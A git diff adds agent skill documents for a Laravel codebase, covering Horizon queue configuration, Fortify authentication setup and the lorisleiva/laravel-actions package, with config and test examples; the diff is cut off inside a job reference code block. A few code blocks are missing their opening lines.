diff --git a/.agents/skills/configuring-horizon/SKILL.md b/.agents/skills/configuring-horizon/SKILL.md new file mode 100644 index 000000000..bed1e74c0 --- /dev/null +++ b/.agents/skills/configuring-horizon/SKILL.md @@ -0,0 +1,85 @@ +--- +name: configuring-horizon +description: "Use this skill whenever the user mentions Horizon by name in a Laravel context. Covers the full Horizon lifecycle: installing Horizon (horizon:install, Sail setup), configuring config/horizon.php (supervisor blocks, queue assignments, balancing strategies, minProcesses/maxProcesses), fixing the dashboard (authorization via Gate::define viewHorizon, blank metrics, horizon:snapshot scheduling), and troubleshooting production issues (worker crashes, timeout chain ordering, LongWaitDetected notifications, waits config). Also covers job tagging and silencing. Do not use for generic Laravel queues without Horizon, SQS or database drivers, standalone Redis setup, Linux supervisord, Telescope, or job batching." +license: MIT +metadata: + author: laravel +--- + +# Horizon Configuration + +## Documentation + +Use `search-docs` for detailed Horizon patterns and documentation covering configuration, supervisors, balancing, dashboard authorization, tags, notifications, metrics, and deployment. + +For deeper guidance on specific topics, read the relevant reference file before implementing: + +- `references/supervisors.md` covers supervisor blocks, balancing strategies, multi-queue setups, and auto-scaling +- `references/notifications.md` covers LongWaitDetected alerts, notification routing, and the `waits` config +- `references/tags.md` covers job tagging, dashboard filtering, and silencing noisy jobs +- `references/metrics.md` covers the blank metrics dashboard, snapshot scheduling, and retention config + +## Basic Usage + +### Installation + +```bash +php artisan horizon:install +``` + +### Supervisor Configuration + +Define supervisors in `config/horizon.php`. The `environments` array merges into `defaults` and does not replace the whole supervisor block: + + +```php +'defaults' => [ + 'supervisor-1' => [ + 'connection' => 'redis', + 'queue' => ['default'], + 'balance' => 'auto', + 'minProcesses' => 1, + 'maxProcesses' => 10, + 'tries' => 3, + ], +], + +'environments' => [ + 'production' => [ + 'supervisor-1' => ['maxProcesses' => 20, 'balanceCooldown' => 3], + ], + 'local' => [ + 'supervisor-1' => ['maxProcesses' => 2], + ], +], +``` + +### Dashboard Authorization + +Restrict access in `App\Providers\HorizonServiceProvider`: + + +```php +protected function gate(): void +{ + Gate::define('viewHorizon', function (User $user) { + return $user->is_admin; + }); +} +``` + +## Verification + +1. Run `php artisan horizon` and visit `/horizon` +2. Confirm dashboard access is restricted as expected +3. Check that metrics populate after scheduling `horizon:snapshot` + +## Common Pitfalls + +- Horizon only works with the Redis queue driver. Other drivers such as database and SQS are not supported. +- Redis Cluster is not supported. Horizon requires a standalone Redis connection. +- Always check `config/horizon.php` before making changes to understand the current supervisor and environment configuration. +- The `environments` array overrides only the keys you specify. It merges into `defaults` and does not replace it. +- The timeout chain must be ordered: job `timeout` less than supervisor `timeout` less than `retry_after`. The wrong order can cause jobs to be retried before Horizon finishes timing them out. +- The metrics dashboard stays blank until `horizon:snapshot` is scheduled. Running `php artisan horizon` alone does not populate metrics. +- Always use `search-docs` for the latest Horizon documentation rather than relying on this skill alone. \ No newline at end of file diff --git a/.agents/skills/configuring-horizon/references/metrics.md b/.agents/skills/configuring-horizon/references/metrics.md new file mode 100644 index 000000000..312f79ee7 --- /dev/null +++ b/.agents/skills/configuring-horizon/references/metrics.md @@ -0,0 +1,21 @@ +# Metrics & Snapshots + +## Where to Find It + +Search with `search-docs`: +- `"horizon metrics snapshot"` for the snapshot command and scheduling +- `"horizon trim snapshots"` for retention configuration + +## What to Watch For + +### Metrics dashboard stays blank until `horizon:snapshot` is scheduled + +Running `horizon` artisan command does not populate metrics automatically. The metrics graph is built from snapshots, so `horizon:snapshot` must be scheduled to run every 5 minutes via Laravel's scheduler. + +### Register the snapshot in the scheduler rather than running it manually + +A single manual run populates the dashboard momentarily but will not keep it updated. Search `"horizon metrics snapshot"` for the exact scheduler registration syntax, which differs between Laravel 10 and 11+. + +### `metrics.trim_snapshots` is a snapshot count, not a time duration + +The `trim_snapshots.job` and `trim_snapshots.queue` values in `config/horizon.php` are counts of snapshots to keep, not minutes or hours. With the default of 24 snapshots at 5-minute intervals, that provides 2 hours of history. Increase the value to retain more history at the cost of Redis memory usage. \ No newline at end of file diff --git a/.agents/skills/configuring-horizon/references/notifications.md b/.agents/skills/configuring-horizon/references/notifications.md new file mode 100644 index 000000000..943d1a26a --- /dev/null +++ b/.agents/skills/configuring-horizon/references/notifications.md @@ -0,0 +1,21 @@ +# Notifications & Alerts + +## Where to Find It + +Search with `search-docs`: +- `"horizon notifications"` for Horizon's built-in notification routing helpers +- `"horizon long wait detected"` for LongWaitDetected event details + +## What to Watch For + +### `waits` in `config/horizon.php` controls the LongWaitDetected threshold + +The `waits` array (e.g., `'redis:default' => 60`) defines how many seconds a job can wait in a queue before Horizon fires a `LongWaitDetected` event. This value is set in the config file, not in Horizon's notification routing. If alerts are firing too often or too late, adjust `waits` rather than the routing configuration. + +### Use Horizon's built-in notification routing in `HorizonServiceProvider` + +Configure notifications in the `boot()` method of `App\Providers\HorizonServiceProvider` using `Horizon::routeMailNotificationsTo()`, `Horizon::routeSlackNotificationsTo()`, or `Horizon::routeSmsNotificationsTo()`. Horizon already wires `LongWaitDetected` to its notification sender, so the documented setup is notification routing rather than manual listener registration. + +### Failed job alerts are separate from Horizon's documented notification routing + +Horizon's 12.x documentation covers built-in long-wait notifications. Do not assume the docs provide a `JobFailed` listener example in `HorizonServiceProvider`. If a user needs failed job alerts, treat that as custom queue event handling and consult the queue documentation instead of Horizon's notification-routing API. \ No newline at end of file diff --git a/.agents/skills/configuring-horizon/references/supervisors.md b/.agents/skills/configuring-horizon/references/supervisors.md new file mode 100644 index 000000000..9da0c1769 --- /dev/null +++ b/.agents/skills/configuring-horizon/references/supervisors.md @@ -0,0 +1,27 @@ +# Supervisor & Balancing Configuration + +## Where to Find It + +Search with `search-docs` before writing any supervisor config, as option names and defaults change between Horizon versions: +- `"horizon supervisor configuration"` for the full options list +- `"horizon balancing strategies"` for auto, simple, and false modes +- `"horizon autoscaling workers"` for autoScalingStrategy details +- `"horizon environment configuration"` for the defaults and environments merge + +## What to Watch For + +### The `environments` array merges into `defaults` rather than replacing it + +The `defaults` array defines the complete base supervisor config. The `environments` array patches it per environment, overriding only the keys listed. There is no need to repeat every key in each environment block. A common pattern is to define `connection`, `queue`, `balance`, `autoScalingStrategy`, `tries`, and `timeout` in `defaults`, then override only `maxProcesses`, `balanceMaxShift`, and `balanceCooldown` in `production`. + +### Use separate named supervisors to enforce queue priority + +Horizon does not enforce queue order when using `balance: auto` on a single supervisor. The `queue` array order is ignored for load balancing. To process `notifications` before `default`, use two separately named supervisors: one for the high-priority queue with a higher `maxProcesses`, and one for the low-priority queue with a lower cap. The docs include an explicit note about this. + +### Use `balance: false` to keep a fixed number of workers on a dedicated queue + +Auto-balancing suits variable load, but if a queue should always have exactly N workers such as a video-processing queue limited to 2, set `balance: false` and `maxProcesses: 2`. Auto-balancing would scale it up during bursts, which may be undesirable. + +### Set `balanceCooldown` to prevent rapid worker scaling under bursty load + +When using `balance: auto`, the supervisor can scale up and down rapidly under bursty load. Set `balanceCooldown` to the number of seconds between scaling decisions, typically 3 to 5, to smooth this out. `balanceMaxShift` limits how many processes are added or removed per cycle. \ No newline at end of file diff --git a/.agents/skills/configuring-horizon/references/tags.md b/.agents/skills/configuring-horizon/references/tags.md new file mode 100644 index 000000000..263c955c1 --- /dev/null +++ b/.agents/skills/configuring-horizon/references/tags.md @@ -0,0 +1,21 @@ +# Tags & Silencing + +## Where to Find It + +Search with `search-docs`: +- `"horizon tags"` for the tagging API and auto-tagging behaviour +- `"horizon silenced jobs"` for the `silenced` and `silenced_tags` config options + +## What to Watch For + +### Eloquent model jobs are tagged automatically without any extra code + +If a job's constructor accepts Eloquent model instances, Horizon automatically tags the job with `ModelClass:id` such as `App\Models\User:42`. These tags are filterable in the dashboard without any changes to the job class. Only add a `tags()` method when custom tags beyond auto-tagging are needed. + +### `silenced` hides jobs from the dashboard completed list but does not stop them from running + +Adding a job class to the `silenced` array in `config/horizon.php` removes it from the completed jobs view. The job still runs normally. This is a dashboard noise-reduction tool, not a way to disable jobs. + +### `silenced_tags` hides all jobs carrying a matching tag from the completed list + +Any job carrying a matching tag string is hidden from the completed jobs view. This is useful for silencing a category of jobs such as all jobs tagged `notifications`, rather than silencing specific classes. \ No newline at end of file diff --git a/.agents/skills/developing-with-fortify/SKILL.md b/.agents/skills/fortify-development/SKILL.md similarity index 72% rename from .agents/skills/developing-with-fortify/SKILL.md rename to .agents/skills/fortify-development/SKILL.md index 2ff71a4b4..86322d9c0 100644 --- a/.agents/skills/developing-with-fortify/SKILL.md +++ b/.agents/skills/fortify-development/SKILL.md @@ -1,6 +1,9 @@ --- -name: developing-with-fortify -description: Laravel Fortify headless authentication backend development. Activate when implementing authentication features including login, registration, password reset, email verification, two-factor authentication (2FA/TOTP), profile updates, headless auth, authentication scaffolding, or auth guards in Laravel applications. +name: fortify-development +description: 'ACTIVATE when the user works on authentication in Laravel. This includes login, registration, password reset, email verification, two-factor authentication (2FA/TOTP/QR codes/recovery codes), profile updates, password confirmation, or any auth-related routes and controllers. Activate when the user mentions Fortify, auth, authentication, login, register, signup, forgot password, verify email, 2FA, or references app/Actions/Fortify/, CreateNewUser, UpdateUserProfileInformation, FortifyServiceProvider, config/fortify.php, or auth guards. Fortify is the frontend-agnostic authentication backend for Laravel that registers all auth routes and controllers. Also activate when building SPA or headless authentication, customizing login redirects, overriding response contracts like LoginResponse, or configuring login throttling. Do NOT activate for Laravel Passport (OAuth2 API tokens), Socialite (OAuth social login), or non-auth Laravel features.' +license: MIT +metadata: + author: laravel --- # Laravel Fortify Development @@ -39,7 +42,7 @@ ### Two-Factor Authentication Setup ``` - [ ] Add TwoFactorAuthenticatable trait to User model - [ ] Enable feature in config/fortify.php -- [ ] Run migrations for 2FA columns +- [ ] If the `*_add_two_factor_columns_to_users_table.php` migration is missing, publish via `php artisan vendor:publish --tag=fortify-migrations` and migrate - [ ] Set up view callbacks in FortifyServiceProvider - [ ] Create 2FA management UI - [ ] Test QR code and recovery codes @@ -75,14 +78,26 @@ ### SPA Authentication Setup ``` - [ ] Set 'views' => false in config/fortify.php -- [ ] Install and configure Laravel Sanctum -- [ ] Use 'web' guard in fortify config +- [ ] Install and configure Laravel Sanctum for session-based SPA authentication +- [ ] Use the 'web' guard in config/fortify.php (required for session-based authentication) - [ ] Set up CSRF token handling - [ ] Test XHR authentication flows ``` > Use `search-docs` for integration and SPA authentication patterns. +#### Two-Factor Authentication in SPA Mode + +When `views` is set to `false`, Fortify returns JSON responses instead of redirects. + +If a user attempts to log in and two-factor authentication is enabled, the login request will return a JSON response indicating that a two-factor challenge is required: + +```json +{ + "two_factor": true +} +``` + ## Best Practices ### Custom Authentication Logic diff --git a/.agents/skills/laravel-actions/SKILL.md b/.agents/skills/laravel-actions/SKILL.md new file mode 100644 index 000000000..862dd55b5 --- /dev/null +++ b/.agents/skills/laravel-actions/SKILL.md @@ -0,0 +1,302 @@ +--- +name: laravel-actions +description: Build, refactor, and troubleshoot Laravel Actions using lorisleiva/laravel-actions. Use when implementing reusable action classes (object/controller/job/listener/command), converting service classes/controllers/jobs into actions, orchestrating workflows via faked actions, or debugging action entrypoints and wiring. +--- + +# Laravel Actions or `lorisleiva/laravel-actions` + +## Overview + +Use this skill to implement or update actions based on `lorisleiva/laravel-actions` with consistent structure and predictable testing patterns. + +## Quick Workflow + +1. Confirm the package is installed with `composer show lorisleiva/laravel-actions`. +2. Create or edit an action class that uses `Lorisleiva\Actions\Concerns\AsAction`. +3. Implement `handle(...)` with the core business logic first. +4. Add adapter methods only when needed for the requested entrypoint: + - `asController` (+ route/invokable controller usage) + - `asJob` (+ dispatch) + - `asListener` (+ event listener wiring) + - `asCommand` (+ command signature/description) +5. Add or update tests for the chosen entrypoint. +6. When tests need isolation, use action fakes (`MyAction::fake()`) and assertions (`MyAction::assertDispatched()`). + +## Base Action Pattern + +Use this minimal skeleton and expand only what is needed. + +```php +handle($id)`. +- Call with dependency injection: `app(PublishArticle::class)->handle($id)`. + +### Run as Controller + +- Use route to class (invokable style), e.g. `Route::post('/articles/{id}/publish', PublishArticle::class)`. +- Add `asController(...)` for HTTP-specific adaptation and return a response. +- Add request validation (`rules()` or custom validator hooks) when input comes from HTTP. + +### Run as Job + +- Dispatch with `PublishArticle::dispatch($id)`. +- Use `asJob(...)` only for queue-specific behavior; keep domain logic in `handle(...)`. +- In this project, job Actions often define additional queue lifecycle methods and job properties for retries, uniqueness, and timing control. + +#### Project Pattern: Job Action with Extra Methods + +```php +addMinutes(30); + } + + public function getJobBackoff(): array + { + return [60, 120]; + } + + public function getJobUniqueId(Demo $demo): string + { + return $demo->id; + } + + public function handle(Demo $demo): void + { + // Core business logic. + } + + public function asJob(JobDecorator $job, Demo $demo): void + { + // Queue-specific orchestration and retry behavior. + $this->handle($demo); + } +} +``` + +Use these members only when needed: + +- `$jobTries`: max attempts for the queued execution. +- `$jobMaxExceptions`: max unhandled exceptions before failing. +- `getJobRetryUntil()`: absolute retry deadline. +- `getJobBackoff()`: retry delay strategy per attempt. +- `getJobUniqueId(...)`: deduplication key for unique jobs. +- `asJob(JobDecorator $job, ...)`: access attempt metadata and queue-only branching. + +### Run as Listener + +- Register the action class as listener in `EventServiceProvider`. +- Use `asListener(EventName $event)` and delegate to `handle(...)`. + +### Run as Command + +- Define `$commandSignature` and `$commandDescription` properties. +- Implement `asCommand(Command $command)` and keep console IO in this method only. +- Import `Command` with `use Illuminate\Console\Command;`. + +## Testing Guidance + +Use a two-layer strategy: + +1. `handle(...)` tests for business correctness. +2. entrypoint tests (`asController`, `asJob`, `asListener`, `asCommand`) for wiring/orchestration. + +### Deep Dive: `AsFake` methods (2.x) + +Reference: https://www.laravelactions.com/2.x/as-fake.html + +Use these methods intentionally based on what you want to prove. + +#### `mock()` + +- Replaces the action with a full mock. +- Best when you need strict expectations and argument assertions. + +```php +PublishArticle::mock() + ->shouldReceive('handle') + ->once() + ->with(42) + ->andReturnTrue(); +``` + +#### `partialMock()` + +- Replaces the action with a partial mock. +- Best when you want to keep most real behavior but stub one expensive/internal method. + +```php +PublishArticle::partialMock() + ->shouldReceive('fetchRemoteData') + ->once() + ->andReturn(['ok' => true]); +``` + +#### `spy()` + +- Replaces the action with a spy. +- Best for post-execution verification ("was called with X") without predefining all expectations. + +```php +$spy = PublishArticle::spy()->allows('handle')->andReturnTrue(); + +// execute code that triggers the action... + +$spy->shouldHaveReceived('handle')->with(42); +``` + +#### `shouldRun()` + +- Shortcut for `mock()->shouldReceive('handle')`. +- Best for compact orchestration assertions. + +```php +PublishArticle::shouldRun()->once()->with(42)->andReturnTrue(); +``` + +#### `shouldNotRun()` + +- Shortcut for `mock()->shouldNotReceive('handle')`. +- Best for guard-clause tests and branch coverage. + +```php +PublishArticle::shouldNotRun(); +``` + +#### `allowToRun()` + +- Shortcut for spy + allowing `handle`. +- Best when you want execution to proceed but still assert interaction. + +```php +$spy = PublishArticle::allowToRun()->andReturnTrue(); +// ... +$spy->shouldHaveReceived('handle')->once(); +``` + +#### `isFake()` and `clearFake()` + +- `isFake()` checks whether the class is currently swapped. +- `clearFake()` resets the fake and prevents cross-test leakage. + +```php +expect(PublishArticle::isFake())->toBeFalse(); +PublishArticle::mock(); +expect(PublishArticle::isFake())->toBeTrue(); +PublishArticle::clearFake(); +expect(PublishArticle::isFake())->toBeFalse(); +``` + +### Recommended test matrix for Actions + +- Business rule test: call `handle(...)` directly with real dependencies/factories. +- HTTP wiring test: hit route/controller, fake downstream actions with `shouldRun` or `shouldNotRun`. +- Job wiring test: dispatch action as job, assert expected downstream action calls. +- Event listener test: dispatch event, assert action interaction via fake/spy. +- Console test: run artisan command, assert action invocation and output. + +### Practical defaults + +- Prefer `shouldRun()` and `shouldNotRun()` for readability in branch tests. +- Prefer `spy()`/`allowToRun()` when behavior is mostly real and you only need call verification. +- Prefer `mock()` when interaction contracts are strict and should fail fast. +- Use `clearFake()` in cleanup when a fake might leak into another test. +- Keep side effects isolated: fake only the action under test boundary, not everything. + +### Pest style examples + +```php +it('dispatches the downstream action', function () { + SendInvoiceEmail::shouldRun()->once()->withArgs(fn (int $invoiceId) => $invoiceId > 0); + + FinalizeInvoice::run(123); +}); + +it('does not dispatch when invoice is already sent', function () { + SendInvoiceEmail::shouldNotRun(); + + FinalizeInvoice::run(123, alreadySent: true); +}); +``` + +Run the minimum relevant suite first, e.g. `php artisan test --compact --filter=PublishArticle` or by specific test file. + +## Troubleshooting Checklist + +- Ensure the class uses `AsAction` and namespace matches autoload. +- Check route registration when used as controller. +- Check queue config when using `dispatch`. +- Verify event-to-listener mapping in `EventServiceProvider`. +- Keep transport concerns in adapter methods (`asController`, `asCommand`, etc.), not in `handle(...)`. + +## Common Pitfalls + +- Putting HTTP response/redirect logic inside `handle(...)` instead of `asController(...)`. +- Duplicating business rules across `as*` methods rather than delegating to `handle(...)`. +- Assuming listener wiring works without explicit registration where required. +- Testing only entrypoints and skipping direct `handle(...)` behavior tests. +- Overusing Actions for one-off, single-context logic with no reuse pressure. + +## Topic References + +Use these references for deep dives by entrypoint/topic. Keep `SKILL.md` focused on workflow and decision rules. + +- Object entrypoint: `references/object.md` +- Controller entrypoint: `references/controller.md` +- Job entrypoint: `references/job.md` +- Listener entrypoint: `references/listener.md` +- Command entrypoint: `references/command.md` +- With attributes: `references/with-attributes.md` +- Testing and fakes: `references/testing-fakes.md` +- Troubleshooting: `references/troubleshooting.md` \ No newline at end of file diff --git a/.agents/skills/laravel-actions/references/command.md b/.agents/skills/laravel-actions/references/command.md new file mode 100644 index 000000000..a7b255daf --- /dev/null +++ b/.agents/skills/laravel-actions/references/command.md @@ -0,0 +1,160 @@ +# Command Entrypoint (`asCommand`) + +## Scope + +Use this reference when exposing actions as Artisan commands. + +## Recap + +- Documents command execution via `asCommand(...)` and fallback to `handle(...)`. +- Covers command metadata via methods/properties (signature, description, help, hidden). +- Includes registration example and focused artisan test pattern. +- Reinforces separation between console I/O and domain logic. + +## Recommended pattern + +- Define `$commandSignature` and `$commandDescription`. +- Implement `asCommand(Command $command)` for console I/O. +- Keep business logic in `handle(...)`. + +## Methods used (`CommandDecorator`) + +### `asCommand` + +Called when executed as a command. If missing, it falls back to `handle(...)`. + +```php +use Illuminate\Console\Command; + +class UpdateUserRole +{ + use AsAction; + + public string $commandSignature = 'users:update-role {user_id} {role}'; + + public function handle(User $user, string $newRole): void + { + $user->update(['role' => $newRole]); + } + + public function asCommand(Command $command): void + { + $this->handle( + User::findOrFail($command->argument('user_id')), + $command->argument('role') + ); + + $command->info('Done!'); + } +} +``` + +### `getCommandSignature` + +Defines the command signature. Required when registering an action as a command if no `$commandSignature` property is set. + +```php +public function getCommandSignature(): string +{ + return 'users:update-role {user_id} {role}'; +} +``` + +### `$commandSignature` + +Property alternative to `getCommandSignature`. + +```php +public string $commandSignature = 'users:update-role {user_id} {role}'; +``` + +### `getCommandDescription` + +Provides command description. + +```php +public function getCommandDescription(): string +{ + return 'Updates the role of a given user.'; +} +``` + +### `$commandDescription` + +Property alternative to `getCommandDescription`. + +```php +public string $commandDescription = 'Updates the role of a given user.'; +``` + +### `getCommandHelp` + +Provides additional help text shown with `--help`. + +```php +public function getCommandHelp(): string +{ + return 'My help message.'; +} +``` + +### `$commandHelp` + +Property alternative to `getCommandHelp`. + +```php +public string $commandHelp = 'My help message.'; +``` + +### `isCommandHidden` + +Defines whether command should be hidden from artisan list. Default is `false`. + +```php +public function isCommandHidden(): bool +{ + return true; +} +``` + +### `$commandHidden` + +Property alternative to `isCommandHidden`. + +```php +public bool $commandHidden = true; +``` + +## Examples + +### Register in console kernel + +```php +// app/Console/Kernel.php +protected $commands = [ + UpdateUserRole::class, +]; +``` + +### Focused command test + +```php +$this->artisan('users:update-role 1 admin') + ->expectsOutput('Done!') + ->assertSuccessful(); +``` + +## Checklist + +- `use Illuminate\Console\Command;` is imported. +- Signature/options/arguments are documented. +- Command test verifies invocation and output. + +## Common pitfalls + +- Mixing command I/O with domain logic in `handle(...)`. +- Missing/ambiguous command signature. + +## References + +- https://www.laravelactions.com/2.x/as-command.html \ No newline at end of file diff --git a/.agents/skills/laravel-actions/references/controller.md b/.agents/skills/laravel-actions/references/controller.md new file mode 100644 index 000000000..d48c34df8 --- /dev/null +++ b/.agents/skills/laravel-actions/references/controller.md @@ -0,0 +1,339 @@ +# Controller Entrypoint (`asController`) + +## Scope + +Use this reference when exposing an action through HTTP routes. + +## Recap + +- Documents controller lifecycle around `asController(...)` and response adapters. +- Covers routing patterns, middleware, and optional in-action `routes()` registration. +- Summarizes validation/authorization hooks used by `ActionRequest`. +- Provides extension points for JSON/HTML responses and failure customization. + +## Recommended pattern + +- Route directly to action class when appropriate. +- Keep HTTP adaptation in controller methods (`asController`, `jsonResponse`, `htmlResponse`). +- Keep domain logic in `handle(...)`. + +## Methods provided (`AsController` trait) + +### `__invoke` + +Required so Laravel can register the action class as an invokable controller. + +```php +$action($someArguments); + +// Equivalent to: +$action->handle($someArguments); +``` + +If the method does not exist, Laravel route registration fails for invokable controllers. + +```php +// Illuminate\Routing\RouteAction +protected static function makeInvokable($action) +{ + if (! method_exists($action, '__invoke')) { + throw new UnexpectedValueException("Invalid route action: [{$action}]."); + } + + return $action.'@__invoke'; +} +``` + +If you need your own `__invoke`, alias the trait implementation: + +```php +class MyAction +{ + use AsAction { + __invoke as protected invokeFromLaravelActions; + } + + public function __invoke() + { + // Custom behavior... + } +} +``` + +## Methods used (`ControllerDecorator` + `ActionRequest`) + +### `asController` + +Called when used as invokable controller. If missing, it falls back to `handle(...)`. + +```php +public function asController(User $user, Request $request): Response +{ + $article = $this->handle( + $user, + $request->get('title'), + $request->get('body') + ); + + return redirect()->route('articles.show', [$article]); +} +``` + +### `jsonResponse` + +Called after `asController` when request expects JSON. + +```php +public function jsonResponse(Article $article, Request $request): ArticleResource +{ + return new ArticleResource($article); +} +``` + +### `htmlResponse` + +Called after `asController` when request expects HTML. + +```php +public function htmlResponse(Article $article, Request $request): Response +{ + return redirect()->route('articles.show', [$article]); +} +``` + +### `getControllerMiddleware` + +Adds middleware directly on the action controller. + +```php +public function getControllerMiddleware(): array +{ + return ['auth', MyCustomMiddleware::class]; +} +``` + +### `routes` + +Defines routes directly in the action. + +```php +public static function routes(Router $router) +{ + $router->get('author/{author}/articles', static::class); +} +``` + +To enable this, register routes from actions in a service provider: + +```php +use Lorisleiva\Actions\Facades\Actions; + +Actions::registerRoutes(); +Actions::registerRoutes('app/MyCustomActionsFolder'); +Actions::registerRoutes([ + 'app/Authentication', + 'app/Billing', + 'app/TeamManagement', +]); +``` + +### `prepareForValidation` + +Called before authorization and validation are resolved. + +```php +public function prepareForValidation(ActionRequest $request): void +{ + $request->merge(['some' => 'additional data']); +} +``` + +### `authorize` + +Defines authorization logic. + +```php +public function authorize(ActionRequest $request): bool +{ + return $request->user()->role === 'author'; +} +``` + +You can also return gate responses: + +```php +use Illuminate\Auth\Access\Response; + +public function authorize(ActionRequest $request): Response +{ + if ($request->user()->role !== 'author') { + return Response::deny('You must be an author to create a new article.'); + } + + return Response::allow(); +} +``` + +### `rules` + +Defines validation rules. + +```php +public function rules(): array +{ + return [ + 'title' => ['required', 'min:8'], + 'body' => ['required', IsValidMarkdown::class], + ]; +} +``` + +### `withValidator` + +Adds custom validation logic with an after hook. + +```php +use Illuminate\Validation\Validator; + +public function withValidator(Validator $validator, ActionRequest $request): void +{ + $validator->after(function (Validator $validator) use ($request) { + if (! Hash::check($request->get('current_password'), $request->user()->password)) { + $validator->errors()->add('current_password', 'Wrong password.'); + } + }); +} +``` + +### `afterValidator` + +Alternative to add post-validation checks. + +```php +use Illuminate\Validation\Validator; + +public function afterValidator(Validator $validator, ActionRequest $request): void +{ + if (! Hash::check($request->get('current_password'), $request->user()->password)) { + $validator->errors()->add('current_password', 'Wrong password.'); + } +} +``` + +### `getValidator` + +Provides a custom validator instead of default rules pipeline. + +```php +use Illuminate\Validation\Factory; +use Illuminate\Validation\Validator; + +public function getValidator(Factory $factory, ActionRequest $request): Validator +{ + return $factory->make($request->only('title', 'body'), [ + 'title' => ['required', 'min:8'], + 'body' => ['required', IsValidMarkdown::class], + ]); +} +``` + +### `getValidationData` + +Defines which data is validated (default: `$request->all()`). + +```php +public function getValidationData(ActionRequest $request): array +{ + return $request->all(); +} +``` + +### `getValidationMessages` + +Custom validation error messages. + +```php +public function getValidationMessages(): array +{ + return [ + 'title.required' => 'Looks like you forgot the title.', + 'body.required' => 'Is that really all you have to say?', + ]; +} +``` + +### `getValidationAttributes` + +Human-friendly names for request attributes. + +```php +public function getValidationAttributes(): array +{ + return [ + 'title' => 'headline', + 'body' => 'content', + ]; +} +``` + +### `getValidationRedirect` + +Custom redirect URL on validation failure. + +```php +public function getValidationRedirect(UrlGenerator $url): string +{ + return $url->to('/my-custom-redirect-url'); +} +``` + +### `getValidationErrorBag` + +Custom error bag name on validation failure (default: `default`). + +```php +public function getValidationErrorBag(): string +{ + return 'my_custom_error_bag'; +} +``` + +### `getValidationFailure` + +Override validation failure behavior. + +```php +public function getValidationFailure(): void +{ + throw new MyCustomValidationException(); +} +``` + +### `getAuthorizationFailure` + +Override authorization failure behavior. + +```php +public function getAuthorizationFailure(): void +{ + throw new MyCustomAuthorizationException(); +} +``` + +## Checklist + +- Route wiring points to the action class. +- `asController(...)` delegates to `handle(...)`. +- Validation/authorization methods are explicit where needed. +- Response mapping is split by channel (`jsonResponse`, `htmlResponse`) when useful. +- HTTP tests cover both success and validation/authorization failure branches. + +## Common pitfalls + +- Putting response/redirect logic in `handle(...)`. +- Duplicating business rules in `asController(...)` instead of delegating. +- Assuming action route discovery works without `Actions::registerRoutes(...)` when using in-action `routes()`. + +## References + +- https://www.laravelactions.com/2.x/as-controller.html \ No newline at end of file diff --git a/.agents/skills/laravel-actions/references/job.md b/.agents/skills/laravel-actions/references/job.md new file mode 100644 index 000000000..b4c7cbea0 --- /dev/null +++ b/.agents/skills/laravel-actions/references/job.md @@ -0,0 +1,425 @@ +# Job Entrypoint (`dispatch`, `asJob`) + +## Scope + +Use this reference when running an action through queues. + +## Recap + +- Lists async/sync dispatch helpers and conditional dispatch variants. +- Covers job wrapping/chaining with `makeJob`, `makeUniqueJob`, and `withChain`. +- Documents queue assertion helpers for tests (`assertPushed*`). +- Summarizes `JobDecorator` hooks/properties for retries, uniqueness, timeout, and failure handling. + +## Recommended pattern + +- Dispatch with `Action::dispatch(...)` for async execution. +- Keep queue-specific orchestration in `asJob(...)`. +- Keep reusable business logic in `handle(...)`. + +## Methods provided (`AsJob` trait) + +### `dispatch` + +Dispatches the action asynchronously. + +```php +SendTeamReportEmail::dispatch($team); +``` + +### `dispatchIf` + +Dispatches asynchronously only if condition is met. + +```php +SendTeamReportEmail::dispatchIf($team->plan === 'premium', $team); +``` + +### `dispatchUnless` + +Dispatches asynchronously unless condition is met. + +```php +SendTeamReportEmail::dispatchUnless($team->plan === 'free', $team); +``` + +### `dispatchSync` + +Dispatches synchronously. + +```php +SendTeamReportEmail::dispatchSync($team); +``` + +### `dispatchNow` + +Alias of `dispatchSync`. + +```php +SendTeamReportEmail::dispatchNow($team); +``` + +### `dispatchAfterResponse` + +Dispatches synchronously after the HTTP response is sent. + +```php +SendTeamReportEmail::dispatchAfterResponse($team); +``` + +### `makeJob` + +Creates a `JobDecorator` wrapper. Useful with `dispatch(...)` helper or chains. + +```php +dispatch(SendTeamReportEmail::makeJob($team)); +``` + +### `makeUniqueJob` + +Creates a `UniqueJobDecorator` wrapper. Usually automatic with `ShouldBeUnique`, but can be forced. + +```php +dispatch(SendTeamReportEmail::makeUniqueJob($team)); +``` + +### `withChain` + +Attaches jobs to run after successful processing. + +```php +$chain = [ + OptimizeTeamReport::makeJob($team), + SendTeamReportEmail::makeJob($team), +]; + +CreateNewTeamReport::withChain($chain)->dispatch($team); +``` + +Equivalent using `Bus::chain(...)`: + +```php +use Illuminate\Support\Facades\Bus; + +Bus::chain([ + CreateNewTeamReport::makeJob($team), + OptimizeTeamReport::makeJob($team), + SendTeamReportEmail::makeJob($team), +])->dispatch(); +``` + +Chain assertion example: + +```php +use Illuminate\Support\Facades\Bus; + +Bus::fake(); + +Bus::assertChained([ + CreateNewTeamReport::makeJob($team), + OptimizeTeamReport::makeJob($team), + SendTeamReportEmail::makeJob($team), +]); +``` + +### `assertPushed` + +Asserts the action was queued. + +```php +use Illuminate\Support\Facades\Queue; + +Queue::fake(); + +SendTeamReportEmail::assertPushed(); +SendTeamReportEmail::assertPushed(3); +SendTeamReportEmail::assertPushed($callback); +SendTeamReportEmail::assertPushed(3, $callback); +``` + +`$callback` receives: +- Action instance. +- Dispatched arguments. +- `JobDecorator` instance. +- Queue name. + +### `assertNotPushed` + +Asserts the action was not queued. + +```php +use Illuminate\Support\Facades\Queue; + +Queue::fake(); + +SendTeamReportEmail::assertNotPushed(); +SendTeamReportEmail::assertNotPushed($callback); +``` + +### `assertPushedOn` + +Asserts the action was queued on a specific queue. + +```php +use Illuminate\Support\Facades\Queue; + +Queue::fake(); + +SendTeamReportEmail::assertPushedOn('reports'); +SendTeamReportEmail::assertPushedOn('reports', 3); +SendTeamReportEmail::assertPushedOn('reports', $callback); +SendTeamReportEmail::assertPushedOn('reports', 3, $callback); +``` + +## Methods used (`JobDecorator`) + +### `asJob` + +Called when dispatched as a job. Falls back to `handle(...)` if missing. + +```php +class SendTeamReportEmail +{ + use AsAction; + + public function handle(Team $team, bool $fullReport = false): void + { + // Prepare report and send it to all $team->users. + } + + public function asJob(Team $team): void + { + $this->handle($team, true); + } +} +``` + +### `getJobMiddleware` + +Adds middleware to the queued action. + +```php +public function getJobMiddleware(array $parameters): array +{ + return [new RateLimited('reports')]; +} +``` + +### `configureJob` + +Configures `JobDecorator` options. + +```php +use 